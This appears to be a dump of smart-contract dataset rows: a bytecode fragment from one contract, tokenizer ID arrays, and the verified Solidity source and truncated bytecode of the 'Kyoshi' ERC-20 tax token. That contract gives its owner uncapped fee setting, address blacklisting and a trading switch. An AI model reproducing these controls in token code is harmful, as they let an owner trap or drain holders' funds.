2211e90610858908590600401611253565b60206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190610dea565b6001600160a01b0316141561021a576040516323b872dd60e01b81526001600160a01b038316906323b872dd906108e790309087908690600401610f46565b600060405180830381600087803b15801561090157600080fd5b505af1158015610915573d6000803e3d6000fd5b5050505080826001600160a01b0316846001600160a01b03167ffefe036cac4ee3a4aca074a81cbcc4376e1484693289078dbec149c890101d5b60405160405180910390a4505050565b6001600160a01b0382166109855760405162461bcd60e51b8152600401610206906110c0565b8047106103d25761099f6001600160a01b03831682610a39565b816001600160a01b03167eddb683bb45cd5d0ad8a200c6fae7152b1c236ee90a4a37db692407f5cc38bd826040516109d79190611253565b60405180910390a25050565b61021a8363a9059cbb60e01b8484604051602401610a02929190610f6a565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610ad5565b80471015610a595760405162461bcd60e51b815260040161020690611140565b6000826001600160a01b031682604051610a7290610390565b60006040518083038185875af1925050503d8060008114610aaf576040519150601f19603f3d011682016040523d82523d6000602084013e610ab4565b606091505b505090508061021a5760405162461bcd60e51b8152600401610206906110e3565b6060610b2a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610b649092919063ffffffff16565b80519091501561021a5780806020019051810190610b489190610e71565b61021a5760405162461bcd60e51b8152600401610206906111e3565b6060610b738484600085610b7b565b949350505050565b6060610b8685610c3f565b610ba25760405162461bcd60e51b8152600401610206906111ac565b60006060866001600160a01b03168587604051610bbf9190610f16565b60006040518083038185875af1925050503d8060008114610bfc576040519150601f19603f3d011682016040523d82523d6000602084013e610c01565b606091505b50915091508115610c15579150610b739050565b805115610c255780518082602001fd5b8360405162461bcd60e51b81526004016102069190610fbd565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610b73575050151592915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610cb15780548555610ced565b82800160010185558215610ced57600052602060002091601f016020900482015b82811115610ced578254825591600101919060010190610cd2565b50610cf9929150610db2565b5090565b50805460018160011615610100020316600290046000825580601f10610d235750610d41565b601f016020900490600052602060002090810190610d419190610db2565b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d855782800160ff19823516178555610ced565b82800160010185558215610ced579182015b82811115610ced578235825591602001919060010190610d97565b5b80821115610cf95760008155600101610db3565b600060208284031215610dd8578081fd5b8135610de381611298565b9392505050565b600060208284031215610dfb578081fd5b8151610de381611298565b600080600060608486031215610e1a578182fd5b8335610e2581611298565b92506020840135610e3581611298565b929592945050506040919091013590565b60008060408385031215610e58578182fd5b8235610e6381611298565b946020939093013593505050565b600060208284031215610e82578081fd5b81518015158114610de3578182fd5b60008060208385031215610ea3578182fd5b823567ffffffffffffffff80821115610eba578384fd5b818501915085601f830112610ecd578384fd5b813581811115610edb578485fd5b866020828501011115610eec578485fd5b60209290920196919550909350505050565b600060208284031215610f0f578081fd5b5051919050565b60008251610f28818460208701611268565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602082528251806020840152610fdc816040850160208701611268565b601f01601f19169190910160400192915050565b6000602080830181845282855460018082166000811461101757600181146110355761106d565b60028304607f16855260ff198316604089015260608801935061106d565b600283048086526110458a61125c565b885b828110156110635781548b820160400152908401908801611047565b8a01604001955050505b5091979650505050505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252600990820152684248503a452d34303360b81b604082015260600190565b6020808252603a908201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260408201527f6563697069656e74206d61792068617665207265766572746564000000000000606082015260800190565b6020808252601d908201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252600c908201526b2ba137b9b7b71d22969a191960a11b604082015260600190565b90815260200190565b60009081526020902090565b60005b8381101561128357818101518382015260200161126b565b83811115611292576000848401525b50505050565b6001600160a01b0381168114610d4157600080fdfe312e302e302d626574612e312f636861726765642d7061727469636c65732e72656c61792e726563697069656e74a2646970667358221220e44c9d009ba610e30643aa088965291a2f96d540677a4f9cc94355142bb2f2fb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 2581, 2581, 2683, 2487, 2850, 2581, 2683, 22407, 2546, 2692, 2497, 19481, 2546, 2581, 2620, 18139, 2497, 16576, 2509, 2546, 17788, 2581, 2581, 2509, 2278, 2581, 9468, 2692, 2575, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 25610, 19137, 2078, 1012, 14017, 1011, 1011, 2112, 1997, 1996, 5338, 9309, 8778, 1013, 1013, 9385, 1006, 1039, 1007, 25682, 3813, 2050, 28359, 1010, 4297, 1012, 1026, 16770, 1024, 1013, 1013, 5338, 1012, 10882, 1028, 1013, 1013, 1013, 1013, 6656, 2003, 2182, 3762, 4379, 1010, 2489, 1997, 3715, 1010, 2000, 2151, 2711, 11381, 1037, 6100, 1013, 1013, 1997, 2023, 4007, 1998, 3378, 12653, 6764, 1006, 1996, 1000, 4007, 1000, 1007, 1010, 2000, 3066, 1013, 1013, 1999, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,466
0x96d7f29c1f56744849d3a23014dec90a2cc9fde0
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: UNLICENSED /** kyoshi.finance tg.me/kyoshieth */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KYOSHI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kyoshi"; string private constant _symbol = "Kyoshi"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x17A882804e7a3B4A94a94A98724c360f9acAdAD5); address payable private _marketingAddress = payable(0xa4c08ae7bC5100543425c3eCc557828f07f8D29F); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; //1% uint256 public _maxWalletSize = 50000 * 10**9; //5% uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600681526020017f4b796f7368690000000000000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f4b796f7368690000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188390613